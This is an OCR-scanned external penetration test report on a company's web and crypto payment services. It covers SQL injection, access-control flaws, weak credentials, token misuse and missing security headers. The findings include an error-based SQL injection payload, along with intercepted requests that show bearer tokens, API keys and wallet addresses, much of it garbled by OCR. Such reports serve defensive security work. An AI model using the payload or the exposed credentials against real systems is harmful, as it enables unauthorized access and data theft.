CyberHAT Security Team

External penetration test report for Target
Company project
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Executive summary

The first objective of this penetration test was to fully examine Target Company systems
and services to identify vulnerabilities that could allow an attacker to compromise the

confidentiality, integrity or availability of those systems and services.
Our second objective was to prove exploitability of vulnerabilities
Third objective was to give recommendations to remediate detected issues.

Note: Due to priority of objectives not all of the issues were tested in full range of their
potential impact. Full exploitation was not pursued if the vulnerability appeared to be
systemic or if remediation was mandatory for PCI compliance, or if exploitation would have

jeopardized either full test coverage or the stability of the systems under test.

Testing details

Reconnaissance

Reconnaissance step was conducted encompassing both active and passive techniques
using Whois queries, Search engines, amass, DNSDumpster, gobuster and other web

services and tools.

Also main hosts were retrieved by examining knowledge base on Confluence, because
services are placed behind VPN and being sure that we have maximum scope of targets

was very important.

After recon step we got a scope of targets and additional endpoints (such as S3buckets)

which will be listed in next section

Discovery, Perimeter, Stateful Firewall and DNS Analysis



At a minimum, an analysis was conducted from an external host to the target network with
use of VPN profile allowing access inside of the target network. In this section we give a

short summary of results, full results will be included in next sections.

Next targets were in scope in two isolated environments:

During pentest we were mainly concerned on UAT stage, because only there we were able

to perform authorized analysis, so PROD stage was mainly under host analysis
Result summary

Based upon stateful firewall inspection tests, DNS queries, port scans and services
identified (also tested for common misconfigurations or vulnerabilities), the network

devices are well secured.

Vulnerability Scanning

o~



Scanners used

ZAP 2.12.0 Active and passive scans

Nikto 2.1.6

Nmap 7.94 default, vuln, intrusive, brute,
discovery and auth scripts

nuclei 2.9.6

Burp Professional 2023.4.5 Intruder, Repeater, Scanner,
Autorize, Additional Checks for
Scanner, wfuzz wordlists

Gobuster 3.5.0 dirb big wordlist, subdomains
wordlist (github
danTaler/Wordlists)

sqlmap 1.6 risk 3 and level 5

dotdotpwn 3.0.2

xsser 1.8.4

Summary of Scanning results

Lot of low-severity findings such as missing Security Headers were detected, but also our
team detected a lot more severe vulnerabilities such as SQL injections and authorization

token reuse. More about detected issues will be described in next sections

Penetration testing



Objectives

The first objective was maximum test coverage; the second objective was safeguarding the
stability of the systems under test, and the last objective was proof of exploitability. The
priority of these objectives dictated that vulnerabilities were not necessarily pursued to the
point of full exploitation and compromise. Full exploitation was not pursued if the
vulnerability appeared to be systemic, or if remediation was mandatory by reason of
compliance drivers, or if exploitation would have jeopardized either full test coverage or the

stability of the systems under test.

Most of the tests we did on UAT stage in order to cover all functionality of prod-like

environment and not interacting with real users data, but imitate it.

Network and Host Test Coverage: Common Network and
Host Configuration Issues

ArgoCD 2.5.5 (latest release - 2.8.0)
strapi v4.0.5 (latest - 4.11.2)
node 14.16.0

No faults found.

No faults found.

No faults found.

Network and Host Test Coverage: Encryption

One expired protocol detected

No faults detected.

Potentially possible, but with very small
chance (Strict Transport Security Headers
not set in some places)




Application Test Coverage: Information Disclosure

No faults detected.

No faults detected.

No faults detected.

Database shows SQLSTATE error, which
discloses SQL injection possibility

Application Test Coverage: Authentication

No faults found.

UAT stage is full of guessable credentials,
but it's not a PROD environment, so it's not
critical for business. But in
PROD environment has easy guessable
credentials and it could be a great problem
because of deprecated version of strapi
and node working on that service.

UAT passwords could be bruted easily and
password on PROD stage could
be bruted as well

No faults found.

No faults found.

No faults found.

No faults found.

No faults found.

No faults found.

No faults found.

No faults found.




Application Test Coverage: Authorization

No faults found.

No faults found.

No faults found.

Severe RBAC issues detected. Some user
roles are able to get information about
other clients that is out of their permission
scope.

Application Test Coverage: Data Validation - Reflection
Issues

No faults found.

No faults found.

No faults found.

No faults found.

Issue detected. Low severity, no impact on
the system

Application Test Coverage: Data Validation - Injection and
Miscellaneous

At least two endpoints are vulnerable to
SQL Injections. It's a critical vulnerability.

No faults found.

No faults found.




No faults found.

No faults found.

No faults found.

No faults found.

No faults found.

No faults found.

Potentially vulnerable if attacker could
control e-mail address in X.509 certificate.
It's almost impossible in our case, but
potentially it's a high risk vulnerabilitiy
(deprecated Nodejs on )

No faults found.

No faults found.

Potentially vulnerable if attacker could
control e-mail address in X.509 certificate.
It's almost impossible in our case, but
potentially it's a high risk vulnerabilitiy
(deprecated Nodejs on )

Application Test Coverage: Session Handling

No faults found.

Minor findings

Minor findings

High risk vulnerability: refreshToken could
be used as access token and vice versa

High risk vulnerability: refreshToken could
be used as access token and vice versa

Minor findings (info)

No faults found.




Application Test Coverage: Application Server
Configuration Issues

No faults found.

No faults found.

No faults found.

Wireless Network Test Coverage

Out of scope.

Social Engineering Test Coverage

Out of scope.

Findings Details

Finding: SQL injection
Severity: Critical

Target(s): I

Description: SQL injection, also known as SQLI, is a common attack vector that uses

malicious SQL code for backend database manipulation to access information that was not

intended to be displayed. This information may include any number of items, including

sensitive company data, user lists or private customer details.
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Pretty Raw Hex =] 0 =

5 1
".I.Ogin”:” “;
"brandhame" ;"' and l=cast((SELECT concat('DATABASE: ', current_database())) as int) and '1'='1",
"role":"",
"state":"activated"
}
a- -
Pretty Raw Hex =] n =
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POST HTTR/2

Host : I

User-aAgent: Mozilla/5.0 (Windows MNT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: application/json, text/plain, */%

Accept-Language: en-US,en;g=0.5

Accept -Encoding: gzip, deflate

Referer:

Authorizatien: Bearer

eyJhbGei01JSUzI1INIIsINRScCIEIkpXVCIS, ey JpcEFkZHIL c3M101TzL ] czLj E3NL 4y MDULLCIL eHAL O] E20DcSODASMTMs Imp GaSI&ImQxY z Uy
Nj h1LWI2NZYt NDUx Z105ZTOQLLWMz Z0Y OY z Z1 OWMwOSJ 9, k3nRakj K580 VSCnOBwkskS7bsgkSamUSeomma9)FpmRWHK KCn1F4opDQuLc&XX_DSESL
RoXE1fIFkslddiSkZtw74z - ANIxTAL gFeE3eKVZvwA2vuwt aesXgy pODmUWXFI1t mVUSE2d24d GEBEUZ1E ToETBSYhAGMXGYT 7 nhKY r4aCLI732mm
COKIUgCmelpZiMILSmEL ¥aNawZDs9] - BkPy 3CedVgfUwt ILkwMb_ISKYbXG1_ddVIngV- JhDbg2sXl 7atwuxMLE0t 11LN2Cr QAWWWL S41dChBme Gk
dWWUT rduasp8MrHHMF xnY7Duc GNR1 2BDQS XRPLKExgnlgStag

o Content-Type: application/json
0 Content-Length: 141

Origin:

Dnt: 1

Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Te: trailers

HTTP/2 500 Internal Server Error

Date: Tue, 27 Jun 2023 19:37:14 GMT

Content-Type: application/json;: charset=utf-8
Content-Length: 229

Access-Control -Allow-Credentials: true
Access-Control -Allow-Origin:

Vary: Origin

¥-Request-Id: 10f0278f-7dac-4bcl-a037-9f2ca720ec7d

5 Cf-Cache-Status: DYNAMIC
O Report-To:

Nel: {"success_fraction":0,"report_to": NI . "nax_age": 504300}
Server: cloudflare

Ct-Ray: 7ded24bB82aeS52bcO-FRA

Alt-Svec: h3=":443"; ma=86400

{
"timestamp":"2023-06-27T19:37:14, 28965172",
"status" 500,
"error":"internal server error",
"message":
"internal error: ERROR: invalid input syntax for type integer: % "DATABASE: _" (SOLSTATE 22P02)",
“path”: " I
t



Pretty Raw Hex = JRUN—

PoST I HT TR 2

Host:

User-Agent: Mozilla/5.0 (Windows NT 10.0Q; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/plain, */*

Accept-Language: en-US,en;g=0.5

& Accept-Encoding: gzip, deflate

7 Referer: I

-~

Authorization: Bearer

ey JhbGe101J5UzI1N1IsINRScCIETkp ¥VCID, ey JpcEFkZHIL c3M101TzL] czLj E3NL 4y MDUILCIl eHALOD] E20DcS0DAEMTHs ImpRasIEImOxYz Uy
Nj h1LWIZN2Yt NDUx Z10SZTQ1LWMz ZDY 0¥z 21 OWMwOS IS, k3nRak j K5BoVSCmOBwk sk S7bsgkSanUSommag JFpmPWHK KCmiF4opDQulceXX_DSESLT
RoXelfIFks1lddiSkZtw74z - 4ANIx T4l gFeE3ekVIvwAZvwt aesXay pOOmUwXFILt mVUSE2d 24d GBEUZLIE ToETB3YhAGMKGYT 7L nhKY r4aCL9732mm
COKIUgCmelpZiMILSmBiXaMNawZDs9] - BkPy 3Ce4Vafuwt ILkwHb_I6KYb¥GL_ddVInQv- JhDbhg2sXl 7gtwuxMLECt i1LN2Cr QawviWl S41dChBmcQk
dWWUT rduacpsMrHME xnNY7DucGNR1 2BD0SXRPLKx anlgSfag

I Content-Type: application/json

Content-Length: 175
Origin:

Dnt: 1

Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Te: trailers

"currencies":|[

1,

"name":"",
“status":[

1.
"headquarterMame" : [
1.
"address":
"transactionID":"' and l=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='15f]"

"
f

Pretty Raw Hex = IR—
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HTTP/2 500 Internal Serwver Error

Date: Tue, 27 Jun 2023 19:42:04 GHMT

Content-Type: application/json; charset=utf-8
Content-Length: 232
Access-Control-Allow-Credentials: true
Access-Control-Allow-0Origin:

Vary: Origin

¥-Request-Id: bOb51d93-1ld2e-4a62-8la8-a9f48acf3271

I Cf-Cache-Status: DYNAMIC
O Report-To:

MNel: {"success_fraction":0, "report_to": ' . "nax_age": 604800}
Server: cloudflare

Cf-Ray: 7def2bcd9bba9268-FRA

Alt-Svc: h3=":443"; ma=85400

i
"timestamp": "2023-05-27T19:42: 04, 4474172142,
"status" 500,
"error":"internal server error",
"message" !
"internal error: ERROR: invalid input syntax for type integer: \"'DATABASE: ' | SOLSTATE 22P02) ",
"path":" i
H



Note: More endpoints could be vulnerable to SQL injection, but it would be more effective

to analyze code and find a problem there, not pentesting every single endpoint

Finding: RBAC issues
Severity: Critical

Target(s): E—

Description:

1. Any user is able to get ALL transactions, that system keeps

HQ Admin user is able to get information about ANY user (out of his Headquarter)
HQ Admin is able to change currency settings of ANY user (out of his Headquarter)
HQ Admin is able to unassign ANY brand from ANY user

Wb

This example shows that any user can get all transactions and info about them no matter
what role he has or what brands/headquarters are assigned to him. Also payload of user’s
query isn't checked (we used “test”: “test” to prove it)

13



Host:

w N B R

Referar:

2]

User-Agent:

ncoding:

i izii, deflate

Authorization: Bearer

Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/plain, */#*

Accept-Language:
Accept-E

en-Us,en;g=0.5

ey JhbGei01J5UzIINIISINRECCIGIkp XVCIS, ey JpcEFkZHIL c3Mi01Iz0Lj czLj E3NL 4y MDUILC Il eHAL O] E20DcSODASHTHs Imp OaSI&ImOx z Uy
N3 hiLWI2NZY+t NDUx Z105ZT Q1LWMz ZDY Oz Z10WMw DS IS, k3nRgk ] K580 VSCmOBwk sk S7bsgkSAnUSomma9)FpmPRWHKk KCm1F4opDQuLceXX_DSESLT
RoXE1fIFkslddiSkZtw7dz - ANIx T4l gFec3ekKVIvwA2ywt aesKgypODmUwKFI1t mVUSE2d 2AdGBEUZLE_ToETEIYh4GM¥GVT 7t nhiKY r4aCLI732mm
COKIUgCmelpZiMIL9mBiXaNawZDs9] - BkPy3Ce AVgfust ILkwMb_I6KYbXGl_ddVInQV- JhDbq2s¥l 7gtwuxMLECt 11LN2Cr QANWWL S41dChBmcOk
dVWUfr4uaSpBHrHfonNV?DucGNRlZBDOSKRPLKxgnlgSfagq

oW

Origin:
Dnt: 1

Wmin e W

o

{

"test":

1.

"test":
"test":

]
1.

Rl "test":
0 "test":

"test":

Content-Type:
Content-Length: &9

Sec-Fetch-Dest:
Sec-Fetch-Mode:
Sec-Fetch-Site:
Te: trailers

o
.

application/json

empty
cors
same-site

"transactionType":"CUSTOMER_CREATED",

"confirmations":0,
"merchantCustomerId":"IMa+{{merchantCustomerId}",
"merchantTransactionId": "2fd54729-131f9-4072-aeB6-e3ad73d1d428",
"merchantId":"4edS4d3f-1994- 422d-b70d-lecelSafado7",
"blockchainTransactionId":null,

"senderWalletAddress" null,

"priceUsd" :null,

"priceBEur":null,

"priceCalculatedAt" :null,
"createdAt":"2023-05-31T11:40:14,0656812",
"expirationDate" :null,

"receiverWallet Address": "Ox0a8800T339009f c20dFE1 38607 28568093305610" ,
"riskScore":null

"transactionUuid":"02be578a- 7495-4299- 241 2- 6881 fd7flacc",
"amount" :null,

"currency":"ETH",

"state": "TIMEOUT",

"transactionType":"CUSTOMER_CREATED",

"confirmations": 0,
"merchantCustomerId":"IMa+{{merchantCustomerId}",
"merchantTransactionId": "325185d9-0c94- 4b77-84d2- 26cfOScE0843",
"merchantId";"4edS4d3f-1994- 422d-b70d-lecalSafado7",
"blockchainTransactionId":null,

"senderWalletAddress" :null,

"priceUsd" :null,

"priceEur":null,

"priceCalculatedAt" :null,

“createdAt":"2023-05-31T11:06:56, 6721987,

"expirationDate" :null,

"receiverWallet Address"  "OxB279473A00 1 ad A3 RANAASNS2TFRAAZ941 97OR4A3" |

14



HQ Admin getting information about user:

Raw Hex B " =

GET |, TR 2
Host : I
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/plain, */*%
Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate
Referer:
Authorization: Bearer
eyJhbGei01J5UzIINLIsInRScCIEIkp KWCID, ey JpcEFkZHIL €3M101 Tz ] czLj E3N1 4y MDULLCJIl eHAL O] E20DcS0DI20Tes ImpCasSI&EInYmOT Bw
¥ dmLWVhNj Et NGZhMS1hZ] Z1LTg20TUOMDI ANT JhOCI9, gM2_S9HbChHMeWHkMN_SDVy CzSeunWIum3I3WTht OKGzkhzl cRUt Wt kghsTciTefH2Hh1Tg
AyazChPkX¥PTuX9g0HGY JOKGwRs JY ] nlYMNakgk XSJus - ] s2ZULERTWEX4GGI fe rRCx CT1XMT U MsdoQs r75- JLEzY150] ql D2oM7 dcHp UgwWThk rTT
91rMchbwzsKRPBpQx CTB1k GLDESgMCogNL AESSt 4s rwd Op ZeFlH1a06d7-¥1q] 28L07xroTujwkZdM_L7gaqhoEB40ExY g GL Ik 4peNZMk ghHUN 3y cw
HEV-tBcgejakm2kDrTl-¥sPriPQTSngj UIRALUSEWr Sdkow

|

I Origin:

15

Dnt: 1

Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-5ite: same-site
Te: trailers

HTTR/2 200 OK

Date: Tue, 27 Jun 2023 20:07:34 GMT

Content-Type: application/json; charset=utf-&
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin:

Vary: Origin

¥-Request-Id: Sf4a774e-Te6l-4733-blfc-304Ff541dbGetf

5 Cf-Cache-Status: DYNAMIC
| Beport-To:

Nel: {"success_fraction":0, "report_to": || " . "nax_age":604800}
Server: cloudflare

Cf-Ray: 7defS5125c93c371d-FRA

Alt-Svc: h3=":443": ma=85400

~

"uuid": "a948732c- 3320- 4e63-ad2l -66f8leT4397e ",

"apikey": "SAMXMHA] TOdTHITCwlak JTva7ABLrhCIeHORAk APSA",
"name": "pentest”,

"psplser": "test",

"pspKey":"test",

"currencies":|[

i
"currency":"BTC",
"addressSource":"csv",
"requiredConfirmations": 3,
"enabled": false,
"addressType": "segwit"

T,

i
"currency":"BUSD ERCZO",
"addressSource":"csv",
"requiredConfirmations": 4,
"enabled": false,
"addressType":"legacy"

T,

i

"currency":"BUSD TRC20",



HQ Admin changes currency settings:

Pretty Raw Hex n =

1 rosT [, T 2

2 Host : I

3 User-Agent: Mozilla/5.0 (Windows MT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: application/json, text/plain, */%

Accept -Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer:

2 Authorization: Bearer
ey JhbGei0ilSUzI1NiIsINRScCISIkpXVCIS, ey JpcEFkZHIL c3Mi01iIzL] czLj E3NL 4y MDULLCI1 eHAL O] E20DcSMzY SNTESImpOasSI&ImymOTEwW
] dmLWVRN] EtNGZhMS1hZ] Z1 L Tg 20TUGMDI ANT JhOCIsInN1IYiI6InRva2VuX3ZLlemlmaWvkInG, Fn0O_Cyfx3RUSKx J3F-S6E3MHhk3aTn_7cl7rp
cejh39PJ4hcfpaXIUunLob.- SHzz 4NMY170USk fWGwSOIDHT IEx T 091 sOW2n Gf FRL Z1anvneML UPY R HMx LUSDMe - - KZ - dDj Y1 NHCEOs OFSGCC2hEG
y7mcJooloMNgn_to7gW7-hnROBGT f14xIB8z0bBot IwlWsvOl xLZywxn] GNroVKDvWt vSUSoNAA_oWRo] TASgtkvyyt - MWj VP2ShFmDSt DIG4BCoE0
hRfoKAmONUL ZZbPat VESuMp ZY g0z p] wC32F 7 7mdc XKL y x c Gse 89uMFOy PTOSK 7 - bELk pXGd 7dKvBrTA

2 Content-Type: application/ison

0 Content-Length: &7

1 origin: I
Dnt: 1

3 Sec-Fetch-Dest: empty

Sec-Fetch-Mode: cors

Sec-Fetch-5ite: same-site

Te: trailers

3 {
"addressType": "segwit",
"currency":"BTC",
"requiredConfirmations":3
¥
iy nar Liea -

1 HTTP/2 201 Created

2 Date: Wed, 28 Jun 2023 06:53:37 GMT

Content-Type: application/json: charset=utf-&
Content-Length: 1186
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin:

Vary: Origin

¥-Request -Id: OFfb522b7-3ed2-4741-bd93-a3a20205d891c
9 Cf-Cache-Status: DYMAMIC

10 Beport-To:

Mel: {"success_fraction":0,"report_to":' " . "nax_age": 504800}
12 Server: cloudflare

13 Cf-Ray: 7de4038408106993-FRA

Alt-Sve: h3=":443"; ma=58400

{
"uuld":"a948732c- 3320- 4e63-ad21-66T816T 4397 ",

"apiKey": "SAMXMHA] TOATHITCwlak JTvS74BLrhCIeHORACk APSA" ,
"name": "pentest"”,
"pspUser":"test",

"pspKey":"test",
"currencies":[

i
"currency": "BTC",
"addressSource":"csv",
"requiredConfirmations": 4,
"enabled": false,
"addressType": "segwit"

T,

{
"currency":"BUSD_ERC20",
"addressSource":"csv",
"reguiredConfirmations": 4,
"enabled": false,
"addressType": "legacy"

T,

i

"currency":"BUSD TRC20",

16



HQ Admin can unassign any brand from any user:

Pretty Raw Hex B n =
1 rosT I, T TR 2
2 Host:

|
3 User-Agent: Mozilla/S5.0 (Windows NT 10.0; rv:102.0) Gecko,/20100101 Firefox/102.0
Accept: applicationsison, text/plain, #*/%*
Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate
7 Referer:
5 Authorization: Bearer
ey JhbGoi0iJSUzI1INIISINRSCCIEIkpXVCIS, ey JpcEFk ZHIL c3M104IzL  czLj E3NL 4y MDIULILCIL eHAL O] E20DCEHZY SNTES ImpOaSI&ImVmOT Ew
i dmLWVhN] Et NGZhMS1hZi Z1 LTg20TUGMDI 4NT JhOCIsInNLY1I6InRya2VuX3ZLcmlmawvkIng, FnO_Cyfx3RUSKx J3F-56E3MHhK 3aTn_T7cU7rp
cejh39PJ4hcfpaxIUunLeob]-SHzz aNMY1i70UsSk fWGwSOIDHT IBx fO9isoW2nQf FRIZ1anvne ML UPYRx HMxLUEDNE - - KZ - dDj Yt NHCEOs OFSGCC2h5G6
y7mcJooIoNgn_to7gW7-hnRDBGT fJ4xIEBz0b8ot JwlWs vl xLZywxn] GNrc VKOwWE vSUSoNAA_oWRc] TASqt kvvyt - NN VP2ShFmDSt DIG48Co 60
hRfoK4mONUL ZZbPat VEuMp ZYgOzpiwC32F7q7md c XKL y x cGse BSUMFOy PFOSK7 - hEIkp XGd 7dKvErTA
I Content-Type: application/jison
Content-Length: 40
Origin:
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Te: trailers

"fb74a7d7-90cd-49af-al35-66b8752a7373"

Pretty Raw Hex n =

1 HTTR/2 200 OK

Date: Wed, 2B Jun 2023 06:59:28 GMT

Content -Type: application/json; charset=utf-8
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin:

Vary: Origin

¥-Request-Id: 96cdll8d-5e07-4687-a567-0f7edOaf3ese
Cf-Cache-Status: DYWAMIC

S Report-To:

Mel: {"success_fraction":Q,"report_to": | " . "nax_age": 604800}
Server: cloudflare

Cf-Ray: 7ded40cl7dc925c14-FRA

Alt-Svc: h3=":443"; ma=86400

e
.

"success":|[
{
"userID": "9061lcEOf-d65e-4d48-h7a2-88aad9absofe",
"brandID":"fb74a7d7-90cd- 49af-8135- 66hE752a7373"
¥

]

Finding: very weak credentials

Severity: Critical

17



Target: [

Description: PROD admin panel of strapi service has same credentials as dev and uat

environments and they are easy guessable

Finding: refresh and access tokens misconfiguration
Severity: High
Target: '

Descrpition: access token is a token that must be short living and refresh token is a long
living token used to “renew” access token. But in our case refresh token and access token
are doing same things, so refresh token could be used as access token and vice versa. If

attacker captures only access token his session will be aborted in short period, but with

refresh token he has permanent access to the services.
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Raw Hex n =

GET HTTR/2

Host : I

User-aAgent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: application/json, text/plain, */*

Accept -Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: I

Authorization: Bearer

ey JhbGei0iJSUzIlNLIsINRScCIBIkpXVCIS, ey )]l eHAL O] E20DgwM] ISMDAS ImpQasSIel]j ZhyjImZDclLTowY TItNDE] YL LINTc2LWZkN I3Yz VkNDMS
NSJ9, Bw_TTFedRuZlwhZ33w7BEOKKOR. 0j cLMsIsU- CESmIBEGZWDWNHONp1DmOFt zzCYproFelabxxt S11aSNZydIJpGMyvhgbumf SSSKPHCTOWSNS0DZ
AepTRE OcrQHPHx e dpw7IZ2Vh o] YAMPWT Zewn XS25r1 L khqHx fF] 952457 4sMGL 7_0DfRRISF- yMDgwQf V4 -k1 GE8ILgPHR Ow3Tmx AVZCAl sGot By 9bjuds
18G3] YhEBRFadqI4DvuhEBSx G Q9IIgd ANMDP] rElz3Y 7mFLiiLXTMwaPhd9nfnle71EQL ak OnUTOL 7MiNbt ibgt 16U- XkDQST 2 IUCUNy - £ 00a Do fw

5 Content-Type: application/json

Content-Length: ©

Origin:

Dnt: 1

Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Te: trailers

Pretty Raw Hex ] n =

19

HTTR/2 200 0K

Date: Wed, 28 Jun 2023 07:15:02 GMT

Content-Type: application/json; charset=utf-8
Access-Control-Allow-Credentials: true
Access-Control-Allow-0rigin:

Vary: Origin

¥-Request-Id: b79a35ab-7ecO-4cel-9bh48-e879ae50efhe
Cf-Cache-Status: DYNAMIC

| Beport-Tao:

MNel: {"success fraction":0,"report_to": " . 'nax_age": 504800}
Server: cloudflare

Cf-Ray: 7ded422e2dcfhOdce-FRA

Alt-Svc: h3=":443"; ma=86400

.

"uuid" " fb74a7d7-90cd- 49af-al35-66bB752a7373",
"apikey" : " CgTd8XQMuhFCLSNhdCr_TyW-mSohnJwhg- ScJZDYGgY" ,
"name";"pentest_test",
"test,
"pspkey":"test",
"currencies":[
i

"currency":"BTC",




Finding: Missing/misconfigured/deprecated security headers
Severity: medium/low/info

Description: Security Headers are additional layer of security which makes information
safer and harder to get it (e.g. with MITM attacks). That's not critical vulnerabilities, but they

are important in scope of secure design of application.
Target: core.crpt2.best
1. Strict Transport Security Misconfiguration

Severity: Medium

The HTTP Strict Transport Security policy defines a timeframe where a browser must
connect to the web server via HTTPS. Without a Strict Transport Security policy the web

application may be vulnerable against several attacks:

e If the web application mixes usage of HTTP and HTTPS, an attacker can manipulate
pages in the unsecured area of the application or change redirection targets in a
manner that the switch to the secured page is not performed or done in a manner,
that the attacker remains between client and server.

e Ifthereis no HTTP server, an attacker in the same network could simulate a HTTP
server and motivate the user to click on a prepared URL by a social engineering
attack.

The protection is effective only for the given amount of time. Multiple occurrence of this

header could cause undefined behaviour in browsers and should be avoided.

2. Content sniffing not disabled
Severity: Low

There was no "X-Content-Type-Options" HTTP header with the value nosniff set in the
response. The lack of this header causes that certain browsers, try to determine the
content type and encoding of the response even when these properties are defined

correctly. This can make the web application vulnerable against Cross-Site Scripting (XSS)
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attacks. E.g. the Internet Explorer and Safari treat responses with the content type
text/plain as HTML, if they contain HTML tags.

Set the following HTTP header at least in all responses which contain user input:

X-Content-Type-Options: nosniff

3. Cross-site scripting filter misconfiguration
Severity: Low

No X-XSS-Protection header was set in the response. This means that the browser uses

default behavior that detection of a cross-site scripting attack never prevents rendering.
The following header should be set:

X-XSS-Protection: 1; mode=block

Cross-site scripting (XSS) filters in browsers check if the URL contains possible harmful
XSS payloads and if they are reflected in the response page. If such a condition is
recognized, the injected code is changed in a way, that it is not executed anymore to
prevent a succesful XSS attack. The downside of these filters is, that the browser has no
possibility to distinguish between code fragments which were reflected by a vulnerable web
application in an XSS attack and these which are already present on the page. In the past,
these filters were used by attackers to deactivate JavaScript code on the attacked web
page. Sometimes the XSS filters itself are vulnerable in a way, that web applications which

were protected properly against XSS attacks became vulnerable under certain conditions.

It is considered as better practice to instruct the browser XSS filter to never render the

web page if an XSS attack is detected.

Target:

1. Strict Transport Security Misconfiguration
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Severity: Medium

The HTTP Strict Transport Security policy defines a timeframe where a browser must
connect to the web server via HTTPS. Without a Strict Transport Security policy the web

application may be vulnerable against several attacks:

e If the web application mixes usage of HTTP and HTTPS, an attacker can manipulate
pages in the unsecured area of the application or change redirection targets in a
manner that the switch to the secured page is not performed or done in a manner,
that the attacker remains between client and server.

e Ifthereis no HTTP server, an attacker in the same network could simulate a HTTP
server and motivate the user to click on a prepared URL by a social engineering

attack.

The protection is effective only for the given amount of time. Multiple occurrence of this

header could cause undefined behaviour in browsers and should be avoided.

Target: [N
1. Strict Transport Security Misconfiguration

Severity: Medium

The HTTP Strict Transport Security policy defines a timeframe where a browser must
connect to the web server via HTTPS. Without a Strict Transport Security policy the web

application may be vulnerable against several attacks:

e If the web application mixes usage of HTTP and HTTPS, an attacker can manipulate
pages in the unsecured area of the application or change redirection targets in a
manner that the switch to the secured page is not performed or done in a manner,

that the attacker remains between client and server.

20



e [fthereis no HTTP server, an attacker in the same network could simulate a HTTP
server and motivate the user to click on a prepared URL by a social engineering
attack.

The protection is effective only for the given amount of time. Multiple occurrence of this

header could cause undefined behaviour in browsers and should be avoided.

2. Content sniffing not disabled
Severity: Low

There was no "X-Content-Type-Options" HTTP header with the value nosniff set in the
response. The lack of this header causes that certain browsers, try to determine the
content type and encoding of the response even when these properties are defined
correctly. This can make the web application vulnerable against Cross-Site Scripting (XSS)
attacks. E.g. the Internet Explorer and Safari treat responses with the content type
text/plain as HTML, if they contain HTML tags.

Set the following HTTP header at least in all responses which contain user input:
X-Content-Type-Options: nosniff
3. Cross-site scripting filter misconfiguration
Severity: Low

No X-XSS-Protection header was set in the response. This means that the browser uses

default behavior that detection of a cross-site scripting attack never prevents rendering.
The following header should be set:

X-XSS-Protection: 1; mode=block

Cross-site scripting (XSS) filters in browsers check if the URL contains possible harmful
XSS payloads and if they are reflected in the response page. If such a condition is
recognized, the injected code is changed in a way, that it is not executed anymore to
prevent a succesful XSS attack. The downside of these filters is, that the browser has no

possibility to distinguish between code fragments which were reflected by a vulnerable web
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application in an XSS attack and these which are already present on the page. In the past,

these filters were used by attackers to deactivate JavaScript code on the attacked web

page. Sometimes the XSS filters itself are vulnerable in a way, that web applications which

were protected properly against XSS attacks became vulnerable under certain conditions.

It is considered as better practice to instruct the browser XSS filter to never render the

web page if an XSS attack is detected.

4. Cross-origin resource sharing: arbitrary origin trusted

@

AL

Host ! I
Accept-Encoding: gzip. deflate
Accept: #7%

Accept-Language: en-US;g=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x&4) AppleWebKit/S37.36 (KHTML,

Chrome/103,0.5080,134 Safari/537.36

7 Connection: close
& Cache-Control: max-age=0
9 Origin:

11
12
13
14
15

17

18

2 Referer: I

Content-Type: text/plain;charset=UTF-8

Sec-CH-UA: " .Not/A)Brand";v="939", "Google Chrome";v="103", "Chromium";v="103"
Sec-CH-UA-Platform: Windows

Sec-CH-UA-Mobile: 70

Content-Length: 9334

i
"event_id":"344ccl34b74346bfBE032a5d946fEa4de",
"sent_at":"2023-06-15T13:57:17. 773"
"sdk"i{
"name" : " I
"wversion":"7.52.1"
T,
"trace":{
"environment": "dev",
"public_key":"8labf76050c3433a84f9dechSec3acea”,
"trace_id":"10d776017c97465ea75c9B7396dE0d ",
"sample_rate":"1"
T
i
{

"type":"transaction"

Advisory Request Response

Pretty Raw Hex

=

T W R

HTTP/1.1 200 0K

Server; nginx

Date: Wed, 14 Jun 2023 08:36:09 GMT
Content-Type: application/json
Content-Length: 41

Connection: close

2 access-control-expose-headers: x-sentry-error, x-sentry-rate-limits,

10
11
12
13

24

9 wvary: Origin

Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Methods: GET, OFTIONS, POST, PUT

!
"id":"344ccl34b74346bfE603255d945TEade"
1

like Gecko)

retry-after



Target:
1. Strict Transport Security Misconfiguration

Severity: Medium

The HTTP Strict Transport Security policy defines a timeframe where a browser must
connect to the web server via HTTPS. Without a Strict Transport Security policy the web

application may be vulnerable against several attacks:

e If the web application mixes usage of HTTP and HTTPS, an attacker can manipulate
pages in the unsecured area of the application or change redirection targets in a
manner that the switch to the secured page is not performed or done in a manner,
that the attacker remains between client and server.

e Ifthereis no HTTP server, an attacker in the same network could simulate a HTTP
server and motivate the user to click on a prepared URL by a social engineering
attack.

The protection is effective only for the given amount of time. Multiple occurrence of this

header could cause undefined behaviour in browsers and should be avoided.
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2. Spoofable client address

Advisory Reguest1 Response 1 Request 2 Response 2
Raw Hex = 0 =
1 GeET I, TP/ 2

10

11
1z
13
14
15

Host : NN

Accept -Encoding: gzip, deflate

Accept:

text/ html,application/xhtml+xml, application/xml;q=0.9, inage/favif, image  w

ebp, image/apng, ¥/%;q=0.8, application/signed-exchange;v=h3;g=0.9

Accept-Language: en-US:g=0.9,en;q=0.8

